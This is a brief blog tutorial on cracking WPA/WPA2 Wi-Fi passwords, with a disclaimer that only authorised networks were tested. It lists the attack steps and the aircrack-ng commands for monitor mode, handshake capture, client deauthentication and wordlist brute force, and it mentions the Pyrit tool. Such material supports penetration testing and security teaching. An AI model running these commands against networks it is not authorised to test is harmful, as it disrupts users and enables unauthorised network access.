David Richard Holtz

@david.richard.holtz

Wifi Cracking

Noted that cracking into a network that is not yours or you do not have permission to is illegal. All of the networks in the follow article were owned by myself or agreed with the network administrator that these brute force attacks were going to be attempted.
Successful crack

General Idea

Hacking into Networks has a long history. Ever since the advent of the wireless networking, and obvious challenge is securing pieces of data over this non visible network. There have been various attempts at securing this phenom. These security attempts come in a few flavors called:

  • Wired Equivalent Privacy (WEP)
  • Wi-Fi Protected Access (WPA)
  • Wi-Fi Protected Access II (WPA2)

All of these methods have proven secure for a periods of time but have been cracked — either due to a actual security flaw, implementation errors, innate build flaws. Our modern day standard WPA2 suffers from build issues check out KRACK attacks — https://www.krackattacks.com/

Attack vector

  • Set hardware to listen to all packets
  • Capture network frames
  • Chose Base-Station and Client
  • Listen to Base-Station traffic
  • Send DeAuth frame as client
  • Capture the Handshake!
  • Bruteforce Attack — dumbly or intelligently

Basic Commands

airmon-ng start wlan0
airodump-ng mon0
airodump-ng --bssid 08:86:30:74:22:76 -c 6 --write WPAcrack mon0
aireplay-ng --deauth 100 -a 08:86:30:74:22:76 mon0
aircrack-ng WPAcrack-01.cap -w /pentest/passwords/wordlists/darkc0de

Software

Pyrit

Pyrit Logo
“Pyrit allows you to create massive databases of pre-computed WPA/WPA2-PSK authentication phase in a space-time-tradeoff. By using the computational power of Multi-Core CPUs and other platforms through ATI-Stream,Nvidia CUDA and OpenCL, it is currently by far the most powerful attack against one of the world’s most used security-protocols.”
DeAuth attack

Great tutorial (not using Pyrit but same idea) - https://null-byte.wonderhowto.com/how-to/hack-wi-fi-cracking-wpa2-psk-passwords-using-aircrack-ng-0148366/

More by David Richard Holtz

Topics of interest

More Related Stories